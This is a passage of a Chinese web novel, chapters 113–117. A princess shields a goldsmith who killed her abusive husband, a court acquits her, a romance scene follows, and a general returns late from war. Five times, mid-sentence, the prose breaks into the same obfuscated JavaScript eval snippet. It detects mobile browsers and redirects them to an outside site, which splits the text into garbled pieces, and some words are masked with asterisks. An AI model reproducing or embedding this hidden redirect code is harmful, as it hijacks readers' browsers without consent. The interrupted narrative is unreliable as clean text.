她不喜欢康天水,不让他碰,但康天水告诉他,是他在河边救下溺水的她,他是她的救命恩人。 于是她承诺,只要他不碰自己,她便努力挣钱报答这份恩情。 可事与愿违,康天水花着她挣来的银子,却变着法的打她。 他打**善良的婆婆。 **的天真浪漫的小姑娘。 “那场逃离民女计划了很久很久,逃出大通县的那天,好像天地都变得广阔了。 可他还是找了过来,他威胁民女,民女若不杀他,便会被他杀死。 杀死他民女不后悔。 公主,民女不会反抗,您尽管派人捉拿民女。” 终斩玉的情绪在提到康天水的种种恶性时激动难抑,又在提到杀了他时轻松愉悦,最后在等待审判时透出许多不舍。 “你没做错,本宫会护你。” 终斩玉先是一怔,随后泪流满面。 “但已经有许多人见过你的画像,恐怕要不了多久贡义便会查到你身上。” 贡义绝对不会认同终斩玉的所为,他只会站在男人的角度谴责女人。 “你别担心,本宫已有应对之法,你安心待在这儿。” 乔楹月顿了顿提醒。 “倘若贡义来抓你,你便乖乖随他去,不必害怕。” 终斩玉流着泪跪在了乔楹月的面前。 “公主是民女的再生父母,从今往后,民女甘愿为公主当牛做马!” 第一百一十三章聚众** 乔楹月回到公主府便派林酒前往大通,寻找几个人——大通新上任的县令、被****的父母。 而在她做这些事,贡义带着姬南萱和叶冀前往‘金福来’,抓走了正在为金簪镶嵌宝石的终斩玉。 紧接着贡义亲自来到公主府,将抓走终斩玉的事儿禀明。 “微臣也是刚知道王翠花藏在公主的铺子里头,这王翠花肯定知道鸿升藏在哪儿,公主放心,王翠花现在是公主的人,只要她乖乖交代鸿升的去向,微臣绝对不会为难她。” 这是还不知道终斩玉和鸿升是一个人,是以对她的态度尚算宽容。 若贡义知道是终斩玉杀了康天水,定会喊打喊杀。 不过这贡义除了办案能力不强,其他方面倒是聪明极了。 是他将终斩玉的画像献给乔楹月,乔楹月早就看过画像,肯定知道终斩玉就是王翠花。 贡义猜测乔楹月隐瞒王翠花的行踪,是害怕这件事儿让‘金福来’越陷越深。 因此在抓了终斩玉以后,贡义立刻来表明立场,他是谁都不得罪。 乔楹月并不打算说明终斩玉的身份,只对他道:“还望贡大人暂不宣扬终斩玉的事儿。” 贡义连连点头:“微臣明白,微臣绝对不会让此人牵扯公主的铺子!” “也莫要伤她。” 这一点贡义不理解。 但红豆端着一块亮闪闪的金子过来,放在了他面前的桌子上。 理不理解已经不重要的了! 拿人钱财就要**。 贡义揣着沉甸甸的金子回到衙门,上下叮嘱了一通。 然而让他恼火的事儿发生了,当天晚上终斩玉的事儿就传遍了大街小巷。 这简直是在打他的脸! 贡义阴着脸叫来姬南萱和叶冀,咬牙切齿的吩咐:“衙内出了奸细,你们二人是我最信任的人,我命你们将奸细找出来!” 姬南萱很恼火,这兵马司上上下下的官职哪个不比她大?让她去查,分明是自己怕得罪人,让她去顶锅! 贡义真阴险! 可心里虽然抱怨,她面上却得克制。 于是这两个倒霉蛋儿接下了这苦逼的差事儿,开始了忙碌又心酸的查证。 这厢。 金福来的店门被人群围得水泄不通,这些人齐声呼喊着: “**犯!退货!**犯!退货!” 何掌柜独自无法应对,只能派人去请乔楹月。 乔楹月是从后门进来的,何掌柜在她耳边告知此事的重要性。 “如今铺子里头的银子已经全都拿去定了金子,倘若这些人非要退货,怕是这铺子得黄,给出去的定金也退不回来,届时当真是损失惨重!” 乔楹月从后堂来到大堂,瞧见几个伙计拼死顶着门,可店门还是被挤开了很宽的缝,要不了多久这门就会被人从外面破开。 店中还有许多黄金首饰,若是有人趁乱抢了偷了,想要追责会很麻烦。 乔楹月吩咐店中的伙计。 “将门打开。” 然而这些伙计只是往后退了一步,门就被撞开了。 那些**的人蜂拥往里头挤。 林酒拔剑一指,这些人下意识后退,顺带打量店内的情形。 便见一个面色肃杀的男人手持利剑,在他的身边站着个贵气逼人的少女,少女面色冰冷,眸色威严。 这些人立刻猜出少女的身份,嚣张气焰彻底消失。 为首的三十岁肥胖妇人应当是这些人选出来的话事人,她隐忍着怒气恭敬的开口。 “公主有礼,我们都是在店中买到黄金的人,这些黄金首饰全都是经过**犯的手打造出来的,带着**之气,会给佩戴之人找来厄运。 我们都是普通老百姓,相信公主才会买这么多,没想到现在出了这种事儿,这黄金自然不能留。 公主府上富裕,所以我们希望公主能公平正义的站出来,将这些金子的钱退给我们!” 其他人连连点头附和。 乔楹月深吸一口气,缓缓开口:“你们的心情本宫能理解,但事实并非你们所想那般,终斩玉是好人,经她手的东西都带着福气。” 胖妇人一听就气哭了,“公主此话实在蛮不讲理!这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328245|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些金子是一笔不小的钱财,虽然可以典卖,可价钱只有买来的一半。 买金子的钱都是民妇男人用血汗挣回来的,就这样打了水漂,民妇回家都没办法跟男人交代!” 此言刺激了所有人的心,现场的气氛顿时充满了**味。 “公主常年搜刮民脂民膏,毫无人性,如今连百姓的棺材本都骗走,实在叫人寒心!” “这套黄金头面是我砸锅卖铁帮我儿子娶媳妇儿的,如今血本无归,儿媳也跑了!” “必须退货,否则我们不客气!” …… 民愤一浪高过一浪,在这激烈的氛围之中所有人都成了湖上浮萍,被暗流推动。 不知道是谁忽然朝前挤,连带后面的人也开始挤,就连抵在面前的剑都不害怕了,这些人朝着乔楹月冲过去。 林酒不敢真的**,立刻收起剑保护乔楹月。 可这种场面不像面对刺客,他放不开手脚,也就是在他分神的功夫,乔楹月被人推到在地。 这一幕像打开了情绪的闸口,**的人更加肆无忌惮起来,竟挤上前来试图扑打她。 便在此时,一道身影踩着这东西人的脑袋落在乔楹月面前,衣袖一挥便有强劲的内力打出。 **者齐齐闷哼着飞摔出去,层层叠叠的人,你压着我,我压着你,他们全然顾不得**,只想尽快将自己从人海中‘拔’出来。 一个大块头的年轻男人刚将自己‘拔’出来,便被人抓着衣领子甩到了地上。 他疼的大叫,定睛看向面前的男人,脸色霎时发白。 “沈,沈大人,大家都在**,您为何偏偏揪着草民不放?” 沈砚冷着眉眼,二话不说先砍下他一条腿。 男人抱着腿痛苦呻吟:“当官的**了!当官的为了包庇敛财的坏宁公主**了!” 飞溅的鲜血和凄厉的惨叫冷静了**者的情绪,这些人争先恐后的逃了出去,却并未走远,躲在自认安全的地方对沈砚投去怨恨的目光。 沈砚无视这些蠢人,冷声质问这个男人。 “说,是谁指使你。” 第一百一十四章撞破暧昧 这男人被沈砚的杀气吓破胆,乖乖的交代了。 “有人给草民银子,让草民趁乱打伤怀宁公主。那人挡着脸,草民也不知他身份。 草民一时猪油蒙了心,早民知道错了,求沈大人饶草民一命!” 沈砚收剑入鞘,丢下一个字:“滚!” 腿都掉了,他也只能滚。 中年男人抱着血糊糊的腿滚出了‘金福来’。 沈砚转身来到乔楹月的面前,柔声问她:“腿还疼吗?” 这会儿乔楹月已经被扶到了椅子上,右腿微微抬高。 这条腿被中年男人踢中,她正是因此才会摔倒。 沈砚当众砍了中年男人同侧的腿,是在为她报仇。 乔楹月摇头:“不疼了。” 随后问他:“沈大人是路过?” 沈砚在身边的椅子上坐下,“是容三小姐前来提醒。” 一炷香之前,容明月忽然找到了他的宅子里,一脸焦急的告知了‘金福来’的局面。 容三小姐与他相看,乔楹月似乎半点不在意。 “公主和容三小姐关系倒是不错。” 何掌柜十分会看形势,立刻带着伙计退下。 林酒想了想,也拉上红豆退到了门口,顺手带上了大门。 宽敞的大堂中只剩下他们二人。 乔楹月抬起脚,放在了沈砚的腿上,“还是有些疼。” 沈砚看着她,眼底有不悦,但手却十分听话的帮她揉着。 在这个女人的面前,他总是不忍心拒绝。 看着沈砚忍气吞声的表情,乔楹月心底的郁气立刻烟消云散。 她身子后仰,慵懒的靠在椅背上,缓缓开口:“容三小姐性子单纯,为人仗义,与本宫合得来,本宫与她是朋友。” 随后她反问:“上次的相看看来是黄了,不知沈夫人又为沈大人择了哪家的姑娘?” 其实她想问是不是定下了容旖纾,他是不是要和容旖纾成亲了。 便听男人低沉说道:“微臣眼下不娶妻。” 乔楹月心一松,继续问:“为何?” 沈砚目光认真的看着她的脸,“公主应该很清楚。” 她确实很清楚。 她更清楚的是,她似乎也对他有了一丝动心。 可感情是世上最难琢磨的事儿,她无法确定他的感情到底是真情,还是假意,因此她不敢轻易做出回应。 或许也觉得感情真假与否不重要。 爱本就瞬息万变,永远只是助兴词。 纠结爱不爱的,不如趁着年轻,好好享受这灿烂的时光。 乔楹月忽然伸手捏住沈砚的下巴,凑过去吻在他唇边。 这个信号让沈砚的眸色变深,他放下她的小腿站起身,双手撑在她的椅子扶手上,将她圈在其中。 乔楹月仰脸看着他,小手扯开他的衣领,伸进去笑道:“沈大人的身材很不错。” 这份撩拨彻底冲毁沈砚的克制,他弯腰狠狠吻下去。 似乎这样吻还不够,他用袖子拂掉桌上的茶具,搂着乔楹月的腰让她坐上去。 他一只手掐着她的腰肢,另一只手扶着她的头,落下的吻比先前更加火热。 乔楹月被吻的节节败退,双手死死勾着他的脖子,防止自己掉到地上去。 门外,听着里面传来瓷器破碎的声响,红豆猜到这声响不对劲,悄悄红了脸。 便在此时,一匹快马飞速来到门前,马上人勒停马儿,风风火火的跳了下来。 红豆赶紧弯腰行礼。 “奴婢见过文将军。” 林酒也行礼,“小的见过文将军。” 文墨甲抬手示意二人免礼,面色冷肃的盯着紧闭的门扇,问红豆:“公主在里头?” 红豆点头,知道文墨甲定是因为那些**的人担心公主安慰,此番是前来探望公主。 可这会儿里头发生的事儿实在不宜让人瞧见。 只能寻个借口让文将军在门外等一等。 “文将军,公主她伤了……”腿,这会儿刚好转,正在休息,您且在门外等一等,容奴婢进去禀报。 然而文墨甲只听到了前面几个字,立刻猜测乔楹月是伤的太重,太医正在为她医治。 他哪儿等得了,他现在就要看见乔楹月的伤势! 他抬脚踹门,大步入内。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335194|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主!舅舅来为你撑腰了!” 话音落下,他才看清屋内的情形。 只见乔楹月坐在桌子上,脸和嘴唇一样红。 沈砚撑着桌子弯着腰,头微低着,踹门声让他回头,脸倒是不红,红的是眼睛。 这两人是在……亲嘴??? “呃……你们忙!” 文墨甲转身出去,带上门,一气呵成。 乔楹月没料到文墨甲会这么鲁莽,赶紧跳下桌子,整理自己的鬓发。 余光看见沈砚的衣襟敞着,仿佛在昭示她方才的恶行,连忙帮他整理衣襟。 确定仪容没有任何问题后,她才沉声开口:“舅舅进来吧!” 话音落下,门被文墨甲推开,他有些尴尬的走到乔楹月面前行礼。 “微臣拜见公主。” 又面向沈砚打招呼。 “沈大人也在呢,好巧。” 乔楹月还有些尴尬,而沈砚脸皮很厚,面不改色同文墨甲睁眼说瞎话。 “确实好巧。” “哈哈,看来沈大人也是担心公主出事儿,我很欣慰!” “公主并未受伤,文将军莫要担心。” “那就好,那就好。” 乔楹月安静的站在一旁,看着两人装模作样。 待到两人说得差不多了,她便主动将铺子里头遇到的事儿告知了文墨甲。 文墨甲知道终斩玉的事迹连声称赞。 “此女有胆有识,是巾帼英雄!此事背后肯定有人推波助澜,那贡义是个墙头草,舅舅必须亲自去一趟,警告他一番,防止他对终姑娘用刑。” 兵马司的刑罚没有那个女人受得住,女子一旦用刑,即便出来也是个废人。 文墨甲离开‘金福来’,风风火火的赶往东城兵马司,和贡义‘友好’的聊了一会儿,便提出要亲自去监牢看终斩玉。 此举让贡义对终斩玉更加看重。 文墨甲走到关押终斩玉的监牢中,看向里头坐着的女子。 身形苗条,气质利落,高墙上的小窗洒下日光,落在她的侧脸上,将她的侧脸渡上了一层光华。 文墨甲竟在原地愣了足足两息。 第一百一十五章当堂释放 “姑娘瞧着好生眼熟,本将军似乎在哪儿见过。” 文墨甲脱口而出的一句话,让贡义面色古怪,他悄悄靠近文墨甲的耳边提醒。 “文大人,像这样的搭讪方式实在老土了些。” 他不是搭讪,是当真觉得眼熟。 可看贡义那表情,知道解释了也没用,索性没接茬。 反倒是终斩玉忽然出声询问:“大人可是在何处见过与民女相似之人?” 文墨甲确定自己曾经见过与终斩玉相似之人,但他一生阅人无数,实在无法记起那相似之人到底在何处见过。 这会儿面对终斩玉期待的目光,他如实说道:“本将军暂时想不起来。” 终斩玉道:“将军想起来以后,可否告知民女?” “可以。” “民女终斩玉,是金福来的金匠,将军日后可去那儿找民女。” “本将军知道,本将军是怀宁公主的舅舅。” 听见这话,终斩玉看向文墨甲的眼神变得亲切了。 文墨甲并未多待,出来时细细叮嘱了贡义。 “她是公主的人,你若胆敢私自用刑,本将军饶不了你。” 贡义连连应是。 次日清晨,公主府上来了三个人,三人皆是一脸风尘。 这三人正是大通那位新上任的县令,以及那位**的父母。 也是这一日,大理寺受理了鸿升案,于是这三人匆匆沐浴换了身干净衣裳,就随着乔楹月前往了大理寺。 大堂之中,终斩玉跪在地上,在她的身边跪着**的父母,站着那位县令。 乔楹月坐在大堂一侧,姬刑远则是坐在堂上,威严的开了口。 “堂下何人!” 几人有序回答。 “回大人,民女终斩玉。” “回大人,草民曹安。” “回大人,民妇李慧德。” “回大人,下官向古巾。” 姬刑远沉声道:“据大理寺调查,王翠华,鸿升,终斩玉,皆是一人,杀害康天水的,便是此人! 终斩玉,对于杀害康天水一事,你有何异议?” 终斩玉平静回道:“民女无异议。” 在民愤的要求之下,姬刑远公开审理了这桩案子,百姓们可以在堂前围观。 在终斩玉认罪的一刻,百姓们破口大骂。 “简直是个毒妇!应该处以千刀万剐之刑!” “毒妇,留在世上是个祸害!” “毒妇……” “嘭!肃静!”姬刑远面色威严。 围观者心不甘情不愿的闭了嘴。 姬刑远看向向古巾,“开堂前你说终斩玉**有隐情,你便来当众说一说,她有何隐情。” 向古巾很年轻,才二十来岁,穿着身白色衣袍,闻言后缓缓将康天水做下的恶事如实道来。 随着他一点点的叙述,康天水的罪恶缓缓在众人面前揭开了画卷。 听完他的叙述以后,围观者纷纷对终斩玉投去了同情的目光,甚至有人直言。 “终斩玉应当无罪!” 但也有人说。 “谁知道这人到底真是大通的县令,还是找来假扮的。” 便有人朝这人翻白眼。 “若是在那五城兵马司里头,怕真有这种事儿,可这儿是大理寺,所有人都要验明正身,结案的卷宗皇上会亲自翻看,没人敢在大理寺作假。” 这人听后顿时为自己的无知红了脸。 另有人叹气。 “这个终斩玉有情有义,有勇有谋,实在不该被定罪。” 姬刑远并未被这些声音扰乱,而是看向了那对夫妻。 “曹小缘与你们是什么关系?” 曹小缘便是那被**的**。 曹安才三十岁的年纪,一年前意气风发。 一年后女儿被**,而凶手不仅没有被绳之于法,甚至在他面前耀武扬威,他的内心太过煎熬,短短一个月的时间便白了头。 前两日盛京来人,告诉他康天水已死,他此去是要为此人定罪,他立刻抛下手头的一切,带着妻子来了盛京。 此刻面对堂上这位满脸正气的大人,他激动的不停流泪。 “曹小缘是草民的女儿,一年前小女被……被康天水害了!” 在女儿被害后的日子里,他无数次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335195|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻想过惩治凶手的画面,也无数次在心中整理判罪之词。 可真到了此刻,他却只能说得出这么一句简短的话语。 乔楹月看着这个满头白发的中年男人,心情沉闷极了。 好好的一个家庭,因为康天水毁了。 此人死一百次都不解恨! 姬刑远又询问了李慧德同样的问题。 李慧德的情绪比丈夫冷静。 “曹小缘是民妇的女儿,一年前民妇出门半日,再回家时女儿已经遭遇康天水的毒手。” 乔楹月却看见这份平静之下的崩溃和麻木。 一个母亲,面对女儿的如此惨状,该是多么的悲痛,多么的愤怒。 围观的人们纷纷满腔愤怒,别说终斩玉**,便是他们都恨不得亲手杀了这种畜生。 然而并非所有人都是人,人群中有个尖嘴猴腮的男人冷漠开口。 “即便如此,终斩玉也不该杀夫,丈夫打妻子天经地义,她身为妻子应该耐心教导自己的丈夫,帮助他改邪归正!” 乔楹月目光如电的看向那人,冷声反问:“看你一把年纪,应当成亲了,娶了谁?你娘?” 男人恼羞成怒:“公主怎么侮辱人呢!” 乔楹月冷笑:“子不教父母之过,这个道理你都不懂,不配当人。” 男人还想据理力争,站在他身边的一个妇女忍不住往他脸上甩了一巴掌。 “妻子就不是人了?妻子就该逆来顺受被你们男人欺负?不会说人话就去投畜生道!” 此言引气了许多女人的共鸣,她们趁着人多眼杂对这男人拳打脚踢。 男人被打的‘哎呦’直叫,而堂上的姬刑远却选择了忽视。 女人们打够了,将这男人丢出大理寺,大家齐齐跪在堂外为终斩玉请求。 “求姬大人判终斩玉无罪!求姬大人判终斩玉无罪!” 齐声的呼喊震荡人心。 终斩玉一直克制的情绪在这一刻崩塌,她捂着脸呜咽大哭,肩膀不停颤抖。 姬刑远敲下惊堂木,沉声开口。 “本官已查明,终斩玉**是无奈之举,本官判她无罪,当堂释放!” 第一百一十六章坚定无悔 乔楹月带着终斩玉回铺子。 ‘金福来’有个小阁楼,她便住在那里。 在回去的马车上,她问了终斩玉一个问题。 “终斩玉,是你自己给自己起的新名字吗?” “这是民女的真名。民女嫁给康天水后想起了自己的名字,却始终无法想起自己的家人。” 乔楹月的心情有些复杂。 终姓在大周极为罕见,而斩玉这个名字也并非普通人家拥有的气度。 终斩玉的身份怕是不简单。 “本宫会派人帮你调查,大周姓终的氏族不多,相信你的身世要不了多久便能查明白。” 终斩玉大喜过望,“民女多谢公主,公主的恩情民女没齿难忘!” 马车停在‘金福来’,二人刚下车,文墨甲便从店内走了出来。 他手中端着一个锦盒,看样子应该是首饰。 乔楹月伸手去接,好奇问道:“好端端的给我礼物做什么?” 熟料文墨甲躲开她的手,大咧咧说道:“不是送给公主,是送给终姑娘压惊的。” 乔楹月倒没尴尬,反而生了八卦之心。 终斩玉有些吃惊,不过她的性格比较冷淡,便是吃惊也只是眉毛微微抬了几分。 “文将军的好意民女心领了,此物应当十分贵重,民女受不起。” 文墨甲毫无风度的将锦盒直接塞进她怀里,“客气什么,给你就接着。” 终斩玉脸上闪过尴尬,只能接住礼盒,随后她朝着乔楹月行礼,“公主和文将军说话,民女进去了。” 乔楹月笑着点头,等她进去以后,她立刻问文墨甲。 “舅舅这是开窍了?” 文墨甲无奈道:“别瞎说,舅舅是觉得她眼熟。” “舅舅,这种搭讪方式太老土了,舅舅若有心,我可以帮舅舅想想法子。” “没骗公主,我确定,我见过与她模样相似的人。” 文墨甲脸上的认真让乔楹月忽然想到了终斩玉的遭遇。 或许舅舅见过的相似之人是终斩玉的家人! “不过我不记得在何处见过。” 乔楹月有些失望,不过转念一想,又觉得这是好兆头。 说明终斩玉真的有家人。 和文墨甲在‘金福来’分开,乔楹月回到公主府。 她刚坐下,向古巾便求见。 她将人请进来,便见年轻小伙子局促的站在面前。 “微臣的母亲从未见过盛京的繁华,微臣想要去外面买些好吃的带回去。” 原来是记挂着家中母亲,这份孝心很珍贵。 “带上曹小缘的父母,花销的银子本宫出。” 向古巾自是推脱,但乔楹月态度坚决,他怕自己再推脱显得小家子气,便局促不安的接受了。 向古巾带着曹安夫妻出门。 女儿的案子有了结果,曹安整个人放松了许多,李慧德眼底有了光亮。 夫妻二人跟着曹安见识了盛京的繁华。 逛了半日后几人来到小饭馆吃饭。 向古巾坐在靠窗的位置,忽然听见外面传来斥骂声。 “老疯子,闪开!” 他循声看去,便见一个瘦骨嶙峋的老人被路人掀翻在地。 看清那张脸时,他的脸色浮现惊喜之色,立刻站起来,快步出门来到了老人的面前。 站在老人面前仔细打量对方一会儿,他才颤抖着呼唤。 “大伯!” 老人迷茫的抬头,目光落在曹安的脸上,眼底缓缓浮现苦涩。 “曹安啊,你怎会在盛京。” “说来话长,大伯还没吃饭吧,来,进来一起吃!” 曹**着老人进去吃饭。 饭后曹安想了想,带着老人去了客栈,要了一间客房。 他吩咐店小二送热水,在老人洗澡时他匆匆出门买了一身棉衣。 老人换上干净的棉衣,脸上的脏污洗净了,便发现他的五官和曹安有几分相似。 曹安发现老人的身形消瘦极了,想到他被人踹倒在地的样子,心疼得红了眼眶。 “十二年前我还小,只是听父亲说大伯出门办事儿去了,可我却一直想不通,大伯到底办什么事儿,需要变卖掉家业。 后来我听父亲说,是堂哥的死让大伯无法接受,大伯变卖家业是出门散心去了。 我以为大伯在外应该想开了,日子应该比在老家时过的好。 可没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335196|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到……大伯,侄儿如今是大通县令,您遇到了什么难事可以跟侄儿说,侄儿帮您!” 向全苦笑,“大伯的事儿太大了,你帮不了。” 向古巾忽然明白过来。 难怪大伯什么都不说清楚便离开老家,是因为摊上大事儿,担心向家被牵连。 可当初若没有大伯的慷慨解囊,他哪儿能有如今的成就。 他必须帮助大伯。 “大伯,您告诉侄儿,是不是定军哥的死有蹊跷?” 向定军是向安的长子,自小便熟读兵书,身手了得,后来如愿参军,没几年便在军中崭露头角,前途一片光明。 可意外却发生的十分突然。 十二年前,向定军担任千户,随军前往卞城,抵抗东陵军。 就在大战胜利的前夕,向定军战死沙场,连尸骨都没能捡回来。 便是在此事发生以后,向全卖掉了宅子和一手经营起来的武行,抛下妻子,背上行囊离开了。 向全垂着眸子,哑声说道:“不是,你别瞎猜。” 向古巾不信,固执道:“倘若不是,大伯便跟我回家,大伯母日日在家中垂泪,眼睛快要哭瞎。” 向全顿了许久,点头:“好,大伯随你归家。” 向古巾很高兴,担心向全半途逃跑,当夜直接跟着他睡在同一张床上。 次日,向古巾前往公主府,向乔楹月辞别,随后他回到客栈,看见大伯乖乖等在屋中,松了一口气。 向古巾带着向全,和曹安夫妻一起出城。 马车直奔码头,到了码头便要上船走水路。 向古巾一路上都担心向全偷跑,只有上了船他才能放心。 当看见码头的一刻,他由衷的高兴,扶着向全上船。 不一会儿客船离岸,缓缓前行。 向古巾笑着看向身侧,却没看见向全,他的心中生出一股不妙的预感,猛地回头看向岸上。 只见岸上站着一道熟悉的瘦弱身影。 是向全。 他趁着向古巾不注意下了船! 向古巾气急败坏的看着向全。 只见那道身影毫不犹豫的转身回城,寒风吹向他瘦弱的背影,他一步一步,坚定无悔。 第一百一十七章宁烽失踪 一夜之间,乔楹月惩治恶人,帮助好人的事儿传遍了盛京。 就连康天水死在‘金福来’的事儿,都从晦气凶地变成了正义的祥处。 带有‘金福来’刻印的黄金成为了吉祥正义的象征,价钱往上溢了三成! 那些闹着退货的客人闹的更凶,当然,这次不是闹着退货,而是闹着让‘金福来’快些开门,她们要买更多‘金福来’的黄金! 乔楹月本想让终斩玉再休息两日,见她坚称无需休息,便在案子终了的次日开张了。 得到消息的新老顾客大清早便在门前排队,抢着购买店内的新款。 新款被一抢而空,老款也全都被抢光。 店内只有终斩玉一个金匠,打金的速度有限,叶掌柜提议再招几个金匠,被乔楹月否了。 首先是其他金匠的手艺,没有终斩玉精湛,品质不一会流失顾客。 其次是营销手段,物以稀为贵,紧缺之物身价水涨船高。 便是真的要扩大经营,乔楹月只打算开一家新的金铺,招一些金匠,这家金铺以多销挣利。 容府。 容旖纾听完春桃的禀报,胸中涌现烦躁的怒意,她坐在椅子上调整呼吸,许久才让自己的情绪冷静下来。 “去北城,见颜倾柔。” 北城的青衣巷,位于巷尾有一座格外破旧的小瓦房。 颜倾柔穿着粗布棉衣,正在院子里头绣花,秦宝乖巧的坐在她脚边,帮着她分线。 院子的角落里,庄秋的双手泡在冷水中,一下一下搓洗衣裳,她搓着搓着就来了火气,用力将衣裳摔入水中,扭头冲颜倾柔大骂。 “害人精!我现在的苦日子都是拜你所赐!” 颜倾柔皱眉,针尖刺破了手指,疼得她‘嘶’了一声,寻了块小碎布将手指头摁住,这才抬头看向庄秋。 “我害人精?依我看是你克星转世!你的丈夫被你克死,你的儿子被你克进大牢,侯府被你克落败!就连这个栖身的小宅子也是我想办法租的,若你再敢对我不驯,立马收拾包袱滚!” “混账东西!我是你婆婆,你竟敢用这种态度跟我说话,我看你是欠教训!” “来啊,你来教训我啊?你以为我怕你?” “来就来!” 庄秋冲到颜倾柔面前,抓住她的头发将她拖到地上,顺势压在她身上,对着她的脸连抓带扇。 颜倾柔也不是好欺负的,仗着年轻力气大,很快反败为胜,反将她压在地上打。 五岁的秦宝毫不犹豫抓起一块小石头,冲上去帮自己的母亲。 庄秋被打得满肚子怨恨,力气反倒大了许多,奋力起身,和颜倾柔扭打在一起。 小小的院子里头,两人从东角打到西角,又从南角打到北角。 撞倒了放置针线的小凳子。 踢翻了洗衣的水盆。 两人身上滚了灰,又沾了水,发丝散乱,衣衫凌乱,活脱脱的两个市井泼妇。 院门口,容旖纾目瞪口呆的看着这一幕。 一炷香后,颜倾柔换上了干净的衣裳,头发重新洗了,这会儿湿哒哒的拢在身后。 看见对面坐着的贵气少女,一股委屈在她的心里弥漫,她用力眨眼将眼泪逼回去,抬手倒了一杯水递过去。 “寒舍简陋,便以水代茶,容小姐莫要嫌弃。” 容旖纾垂眼看向这杯茶,破旧的白瓷上沾满了黄色茶渍,像是老男人牙上的陈年老垢。 心里一阵反胃,抬手将茶杯推到一边。 多看一眼她都想吐。 看见她的小动作,颜倾柔的自尊心仿佛被人踩在地上碾,忍了许久的眼泪终于掉了下来。 “哭什么?委屈?” 听得出容旖纾的语气中充满了讽刺,颜倾柔擦掉眼泪说道:“若是容小姐到了我这地步,怕是哭都哭不出来。” 容旖纾弯唇:“你那堂哥打了胜仗,明日便要回城,你的靠山回来了,你应该高兴才是。” 颜倾柔眼睛睁大,“当真!?” 自从住进北城,她就不出门了,怕被人笑。 为了等到堂哥回来为自己撑腰,她做针线活维持生计,整日忙碌,没有时间打听外头的事儿。 如今堂哥真的要回来了,她终于不会再被人欺负了! 容旖纾打量这小小的屋子,叹着气说道:“我出了一趟远门,不知你竟过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340370|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这般苦,你我情同姐妹,我怎忍心看你吃苦,你现在便随我离开,我在西城有一座宅子,地段虽然算不上好,但宽敞干净,比起这儿是绰绰有余的。” 颜倾柔知道她根本没有出远门,这般说辞无非是巴结她的堂哥。 不过颜倾柔并不抗拒,她再也不想待在这种穷酸之地! 当天晚上,颜倾柔丢下庄秋,带着秦宝去了北城。 次日清晨,军队回城,百姓们夹道欢迎。 乔楹月也来了街上。 天空飘起了雪花,她撑着伞站在街边,踮着脚寻找宁烽的身影。 他是忠武将军,应该走在队伍前头。 为首的自然是大功臣颜崇业,他原本是辅国大将军,据说此次胜仗是他力挽狂澜,看来军职又能往上升一级了。 颜崇业的身后是各路军统领,其中没有宁烽的身影。 再往后便是小士兵了,更不可能有宁烽。 直到军队走完,宁烽始终没出现。 乔楹月沉着脸回到公主府,吩咐林酒派人去外头打听消息。 可无论林酒如何打听,都探不到半分宁烽的消息。 宁老将军也急得不行,还派了人到公主府询问乔楹月是否知道内情。 直到将士回城的第三日,宁烽终于回城了。 他骑着一匹精疲力尽的马,衣着脏乱,蓬头垢面,从前意气风发的人,眼下却像是丢了魂一样,催着马来到了公主府。 乔楹月正在用膳,听到红豆禀报,丢下筷子提着裙摆跑到门口迎接。 